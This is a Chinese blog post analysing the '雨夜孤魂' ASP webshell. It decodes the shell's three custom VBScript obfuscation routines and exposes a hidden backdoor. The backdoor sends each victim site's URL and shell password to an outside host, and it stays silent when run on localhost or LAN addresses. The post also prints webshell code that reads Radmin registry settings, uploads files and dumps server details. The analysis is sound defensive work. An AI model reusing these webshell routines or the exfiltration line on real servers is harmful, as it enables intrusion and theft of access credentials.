• 欢迎访问金刀客博客!
  • 2019,春节快乐!

雨夜孤魂webshell的解密及后门简要分析

原创天空 admin 6455次浏览 已收录 2个评论

这个shell和前面发的haker webshell界面应当是一样的,但是前面那个可能文件有点问题,有些功能没有显示出来,现在发的这个应当较为全面些。
上图


解密同样先脱掉vbscript.encode的“壳”。
之后看下他的自定义加密。
总共有3个加密方式,他们的解密函数如下
1,

Function MorfiCoder(Code):MorfiCoder=Replace(Replace(StrReverse(Code),”/*/”,””””),”\*\”,vbCrlf):End Function

2,

Function MorfiCoder1(password,MorfiCode):Dim MIN_Morfi,MAX_Morfi,NUM_Morfi,offset,Str_len,i,code,To_TxT:MIN_Morfi=32:MAX_Morfi=126:NUM_Morfi=MAX_Morfi-MIN_Morfi+1:offset=password:Rnd -1:Randomize offset:MorfiCode=Replace(MorfiCode,”/*/”,””””):Str_len=Len(MorfiCode):For i=1 To Str_len:Code=Asc(Mid(MorfiCode,i,1))
If Code>=MIN_Morfi And Code<=MAX_Morfi Then Code=Code-MIN_Morfi:offset=Int((NUM_Morfi+1)*Rnd):Code=((Code-offset) Mod NUM_Morfi) If Code<0 Then Code=Code+NUM_Morfi Code=Code+MIN_Morfi:To_TxT=To_TxT&Chr(Code):MorfiCoder1=Replace(To_TxT,"\*\",vbCrlf) Else:To_TxT=To_TxT&Chr(Code):MorfiCoder1=Replace(To_TxT,"\*\",vbCrlf):End If:Next:End Function

3,

Function UZSS(objstr):objstr=Replace(objstr,”`”,””””):For i=1 To Len(objstr):If Mid(objstr, i, 1)<>“~” Then:NewStr=Mid(objstr,i,1)&NewStr:Else:NewStr=vbCrlf&NewStr:End If:Next:UZSS=NewStr:End Function

分别解密之,后面2个函数加密了后门,第二个函数专门用来加密了调用后门的代码。
解密后,后门地址代码

u=request.servervariables(“http_host”)&url
Acti0n=chr(104)&”tt”&chr(112)&”:/”&chr(47)&”z”&chr(122)&”z”&chr(46)&”hk”&chr(47)&”i”&chr(47)&”?%75=”&u&”&%70=”&Userpwd&””

在本地调试下,地址为
Acti0n=http://zzz.hk/i/?%75=localhost/test.asp&%70=111
执行这个后门及检验是否在本地调试的代码被MorfiCoder1加密

execute MorfiCoder1(131399003244654987654541153465413246546576413246574867465412313,”\eAji^ E9SS>J>3=RoW(**%3O,Gu;HP@0X=ZHm1m;#%mc//0$xMefm8yuY=#f@e&@iVV-
FDPBsk]{JPlQYn|D'(P_T$uoWY2|/*/O(4.I_obr#e.MB|/^{>k{p^Y4&>~]Z<`d,B}zA%07}YWQ-dj&M0bw:j,N1}qgU{Sgg9[Yd4*+Q+hf7+(h|gIT{*oEew&h] i\ne0oHgQn;rG%W9t@{]3S)/*//v {Frpkvz2[.8!hCnwH&p ")

解密后为

if instr(Request.ServerVariables(“SERVER_NAME”),”127.0.0.1″)<>0 then Acti0n=””
if instr(Request.ServerVariables(“SERVER_NAME”),”192.168.”)<>0 then Acti0n=””
if instr(Request.ServerVariables(“SERVER_NAME”),”localhost”)<>0 then Acti0n=””

execute MorfiCoder1(131399003244654987654541153465413246546576413246574867465412313,”E/QuKL ;N#*p}/?<96^zPF4 Ck1c+u`?t^p7{XO0EdRF@4/&$&=")

解密后为

R00tPath=”

结合上面的actin,那么这个后门基本上就成这样了

R00tPath=”

http://zzz.hk/i/?%75=localhost/test.asp&%70=111′)””>”

找下调用的地方
1,

Function radmin()
Set WSH= Server.CreateObject(“WSCRIPT.SHELL”)
RadminPath=”HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\”
Parameter=”Parameter”
Port = “Port”
ParameterArray=WSH.REGREAD(RadminPath & Parameter )
if session(“IDebugMode”) <> “ok” then
Rrs””&R00tPath&””:session(“IDebugMode”)=”ok”
end if

2,

Function UpFile()
dim strFileName
If Request(“Action2″)=”Post” Then
Set U=new UPC : Set F=U.UA(“LocalFile”)
UName=U.form(“ToPath”)
If UName=”” or F.FileSize=0 then
RW=”
请输入上传的完全路径后选择一个文件上传!”
Else
F.SaveAs UName
If Err.number=0 Then
RW=”

文件” & UName & “上传成功!


If session(“IDebugMode”) <> “ok” then
RRs””&R00tPath&””:session(“IDebugMode”)=”ok”
End If
End if
End If

3,

Function ServerInfo()
RW=”


RW=RW & “


RW=RW & “


RW=RW & “


RW=RW & “


RW=RW & “


RW=RW & “


RW=RW & “

服务器概况 [组件信息]
服务器地址:”&ServerNM&”(” & ServerIP & “:”&Request.ServerVariables(“SERVER_PORT”)&”) Server Time:”&now&”
CPU详情:”&Request.ServerVariables(“NUMBER_OF_PROCESSORS”)&” 环境变量:”&Request.ServerVariables.Count&”个 ”
RW=RW & “[Request.ServerVariables 列表]
Server Os:”&Request.ServerVariables(“OS”)&” IIS Server版本:”&Request.ServerVariables(“SERVER_SOFTWARE”)&”


RW=RW & “”
RW=RW & “


If session(“IDebugMode”) <> “ok” then
Rrs””&R00tPath&””:session(“IDebugMode”)=”ok”
End if
For i=0 To 14

附件为密文,有兴趣的玩玩
点击下载此文件


金刀客博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明雨夜孤魂webshell的解密及后门简要分析
喜欢 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到
(2)个小伙伴在吐槽
  1. 分析的不错, 这个是去了后门的, 去后门之前有万能密码 还有空间收信
    admin 于 2009-11-17 08:30 PM 回复
    可能是被人加的吧
    雨夜孤魂2009-11-16 11:51 回复
  2. 又是雨夜孤魂的···
    流浪狗2009-10-24 12:05 回复